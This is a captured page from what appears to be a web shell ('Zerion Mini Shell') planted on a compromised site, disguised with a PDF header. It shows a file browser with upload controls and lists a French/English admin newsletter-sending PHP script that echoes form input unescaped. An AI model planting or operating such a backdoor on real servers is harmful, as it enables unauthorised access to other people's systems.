%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/alliance/domains/congress-pact1in5.eu/public_html/
Upload File :
Create Path :
Current File : /home/alliance/domains/congress-pact1in5.eu/public_html/a-newsletter_interne_envoi.php

<?php
include_once("inc/config.php");
include_once("inc/functions.php");
include_once("inc/session.php");
include_once("inc/init.php");

verif_co_admin();

//affichage du html
include("theme/html.php");
//affichage des metas
include("theme/meta.php");
echo "\n<title>Nouvelle newsletter - ".$info_titresite."</title>\n";
?>
<script type="text/javascript">
	function loadMail_fr(numstat) {
		$('#load_fr').show();
		$('#numpack_fr').load('a-newsletter_interne_mail.php', { num : numstat, titre: $('#titre_fr').val(), lang : 1 } , function() {
			$('#load_fr').hide();
			if(numstat < $('#nbpack_fr').val())
			{
				numstat++;
				loadMail_fr(numstat);
			}
			else {
				$('#status_fr').html("L'envoi des mails est réussi");
			}
		});
	}
	function loadMail_en(numstat) {
		$('#load_en').show();
		$('#numpack_en').load('a-newsletter_interne_mail.php', { num : numstat, titre: $('#titre_en').val(), lang : 2 } , function() {
			$('#load_en').hide();
			if(numstat < $('#nbpack_en').val())
			{
				numstat++;
				loadMail_en(numstat);
			}
			else {
				$('#status_en').html("L'envoi des mails est réussi");
			}
		});
	}
	
	$(document).ready(function() {
		$('.load').hide();
		$('#envoyernews_fr').click(function() {
			loadMail_fr(1);
			$('#envoyernews_fr').hide()
		});
		$('#envoyernews_en').click(function() {
			loadMail_en(1);
			$('#envoyernews_en').hide()
		});
	});
</script>
<?php
//affichage du header
if(estadmin()) include("theme/header_admin.php");
else include("theme/header_redacteur.php");
?>

<div class="text_admin">
<h2>Nouvelle newsletter interne</h2>
<p>Prévisualisation et envoi des mails</p>
<?php
if(!$_POST['post'] || !$_POST['titre_fr'] || !$_POST['titre_en'] || !$_POST['texte_fr'] || !$_POST['texte_en'])
{
	echo "<div class=\"erreurbloc\">Un champ n'est pas bien rempli, cliquez sur retour</div>";
}
else {

	$db = new BaseOps;
	$content_fr = "<div class=\"text\"><h2>".$_POST['titre_fr']."</h2><p>".$_POST['texte_fr']."</p></div>";
	$content_en = "<div class=\"text\"><h2>".$_POST['titre_en']."</h2><p>".$_POST['texte_en']."</p></div>";
	$header = get_temp("templates/newsletter/header.php", $url_site);
	$footer = get_temp("templates/newsletter/footer.php", $url_site);
	
	//Calculer les paquets
	$query = "SELECT * FROM `user` WHERE lang = 1";
	$nbmail_fr = $db->count($query);
	$nbpack_fr = ceil($nbmail_fr/10);
	$query = "SELECT * FROM `user` WHERE lang = 2";
	$nbmail_en = $db->count($query);
	$nbpack_en = ceil($nbmail_en/10);
	
	// Fichier français
	if(file_exists("mailtemp_interne_fr.html")) unlink("mailtemp_interne_fr.html");
	$file = fopen ("mailtemp_interne_fr.html", "a+");
	fwrite($file, $header.$content_fr.$footer);
	fclose($file);
	
	// Fichier anglais
	if(file_exists("mailtemp_interne_en.html")) unlink("mailtemp_interne_en.html");
	$file = fopen ("mailtemp_interne_en.html", "a+");
	fwrite($file, $header.$content_en.$footer);
	fclose($file);


?>


	<h2 class="mt15">Prévisualisation</h2>
	<iframe src="mailtemp_interne_fr.html" width="700" height="400"></iframe>
	
	<input type="hidden" id="nbpack_fr" value="<?php echo $nbpack_fr; ?>" />
	<input type="hidden" id="nbpack_en" value="<?php echo $nbpack_en; ?>" />
	<input type="hidden" id="titre_fr" value="<?php echo stripslashes($_POST['titre_fr']); ?>" />
	<input type="hidden" id="titre_en" value="<?php echo stripslashes($_POST['titre_en']); ?>" />
	
	<h2 class="mt15">Envoyer les mails en français</h2>
	<div id="envoyernews_fr" class="bouton" style="width: 200px; cursor: pointer;">Envoyer</div>
	<p>Envoi du paquet <span id="numpack_fr">1</span> / <?php echo $nbpack_fr; ?></p>
	<p id="status_fr">En cours... Merci de ne pas fermer cette page</p>
	<div id="load_fr" class="load"></div>
	
	<h2 class="mt15">Envoyer les mails en anglais</h2>
	<div id="envoyernews_en" class="bouton" style="width: 200px; cursor: pointer;">Envoyer</div>
	<p>Envoi du paquet <span id="numpack_en">1</span> / <?php echo $nbpack_en; ?></p>
	<p id="status_en">En cours... Merci de ne pas fermer cette page</p>
	<div id="load_en" class="load"></div>
	
	
</div>

<?

}

//affichage du footer
include("theme/footer.php");

?>

Zerion Mini Shell 1.0